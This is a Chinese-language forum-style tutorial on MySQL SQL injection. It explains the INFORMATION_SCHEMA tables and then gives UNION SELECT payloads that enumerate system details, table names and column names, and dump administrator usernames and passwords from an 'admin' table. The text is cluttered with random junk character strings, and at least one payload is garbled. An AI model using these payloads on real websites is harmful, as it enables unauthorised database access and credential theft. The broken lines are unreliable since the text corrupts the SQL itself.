本文介绍MYSQL盲注的一些语句和方法
- E1 ~3 [3 H/ U! S& X* o
+ b, w" r4 P+ u3 r6 u {* _% c: K学习盲注前先了解下 IFORMATION_SCHEMA 库
8 U2 E. v# u! l! r7 n6 q0 R; ?
( N/ v# H( b" u2 K" D5 @" m% B/ |7 LMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有2 {" z" n Z( ]& C& R
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。2 i% g0 W) v! c* M4 B# V t
1.得到所有数据库名:' J! G4 j9 N8 r2 e' g& z& G. p. d3 K
|SCHEMATA ->存储数据库名的表
/ v! s/ l, R/ x; j- T9 P|---字段:SCHEMA_NAME ->数据库名称
' U3 \1 R& m0 X: `. U, t* [8 i% @/ Z: _. v
|TABLES ->存储表名5 {8 l$ x- t3 v2 L7 y
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名8 x R$ J x r t
|---字段:TABLE_NAME ->存储表的表名
( |2 F: S9 m, G$ S& U$ m0 L5 ^3 z$ }
|COLUMNS ->存储的字段名表
' H3 w% B& H0 \* _8 I+ e|---字段:TABLE_SCHEMA ->该字段所属数据库名
: ~) G) p5 T' V; j2 A|---字段:TABLE_NAME ->存储所属表的名称- e/ g C ~) \, F: F
: E, d" r* j, q( A- R
|---字段:COLUMN_NAME ->该字段的名称
- B% G5 p z1 e$ w
% C, W& p) W H8 p& v2 ]/ f
* M0 [( H+ P/ s" a) o/ J
3 X. m& F; L' a0 P###########################################################################( j- n2 l- J- c, k! J
2 l" A! Z3 k/ U5 B
0x001 获取系统信息:, ^) N* Y7 @$ d2 n E
9 r5 b' a1 J% \: a9 p+ {
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
$ }8 p: M& f' y2 H4 ]7 Q" W, a
. D: B9 {/ F5 @ ]$ _% k0 L& r0 }/*
0 l/ o8 G, [% z; ]; h! ~. _8 Q. d; l3 G- s' Q- j: L/ i
@@global.version_compile_os 获取系统版本2 j- O+ |* |( S3 }, e
- i; g. ~" p7 Y+ i/ R
@@datadir 数据库路径4 q! a# C/ o! t& i( G" d& t
database() 当前数据库名称% d9 B9 z, Q* A: c% [; p) r1 Y
0x3c62723e 换行HEX值0 c6 r3 V- J. O, L' L: T, N
2 m. W9 e6 F" T& c$ {9 I+ ~ d1 Q. J! O*/" O- k! }6 q+ k/ P% b) N+ h
9 _; u+ v9 Y. P, e
3 ~5 d/ I7 o- d: c: D5 c4 W2 q$ q2 Y$ Z4 _
######################################################################+ m6 q/ s& q& |$ V
* e" W" ^) i$ T: E, _/ s
0x002 获取表名
2 d1 ^. r" m) K9 U* m; a' x: |% r, {: t+ S) K) K7 g
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*# ]2 b: V# N/ [ m
1 k8 Z, z$ o( ?; [, d
- G* d' F7 k8 Y
! g+ K& A' x% H1 V' L
/*
m1 D: B/ O+ p- A7 ]
7 A H1 C& B( `2 `/ O# x6 G0x67617264656e 为当前数据库名
) E( h( k6 y% q
/ }& s' x, d( Q* F$ v* o* vgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
. y* o! |. p2 m1 r2 Y5 B
5 s5 V: K& C) ~/ w& Y0 d*/* U2 W' r. z2 o& k9 G( p7 \2 F" E( d# {
; G7 F1 f/ _+ N. `2 w; [######################################################################: @, _& ~# G& X
! Z4 n5 T, W) H9 f9 H
& N3 i3 K B! H6 w6 N# y' `' |( C8 _+ U/ [$ ]* K
0x003 获取字段- m W7 n- h8 q4 X: f5 C2 J0 w
* J& u0 U/ y# D
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*& y2 e c* ]; D1 y
5 D1 n, \) I9 }8 [3 F) l4 A+ ^% E/*
' d' R4 |% M; o, E$ G7 G G M1 L% Q' |
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段9 y- }5 K) K; U6 v9 x
( l. c( V& {3 H0 n0 z0x61646d696e ->选择一个表
, u/ m( { O$ l$ p% m( v/ A; O1 R# E. C
0x67617264656e ->数据库名
; i& d" x9 s% J+ `- x; z' ]: K3 l; o: [4 r3 ?' c
*// B% m+ t+ E P% M( j3 f0 S
/ b8 b% J4 M: W7 i# F2 T" ?6 B#####################################################################
- p1 P: n% J% n3 {
+ V6 b* f: k# u. z W) l, l - C9 P) ]% P5 N1 D2 E
0 Z8 j% H3 i1 q
0x004 获取数据 F0 ]/ A, D' L
' s# o; Z# @3 Z1 ^5 r
union select 1,2,31 M; H- p# b: F
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
/ i. P: Z" k8 Y" R
" b: ^ s+ ?3 s7 |; Z J* wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
; }9 _% d5 B M. o1 Q" g& C5 z& V! q! n1 r4 k
* t" Z- e3 C% M7 I2 x g
) F# D6 z. X/ v t$ r7 N U9 n/*
4 D; m3 R- d5 x! V/ `) U% X5 h/ P4 i: E
0x3c62723e 换行符号HEX编码
; } J+ X7 J) X% K' B8 g
8 x$ K' Z) j2 d+ }3 ? I `group_concat 同时获得该字段所有数据" h$ |: J2 q7 H4 a: R; A3 h% m7 g
) e4 O. q( a+ h; t*/: e$ m/ M0 ?: k8 A7 A9 M6 J$ v
/ Z! n, c, T9 Q& K6 [. r |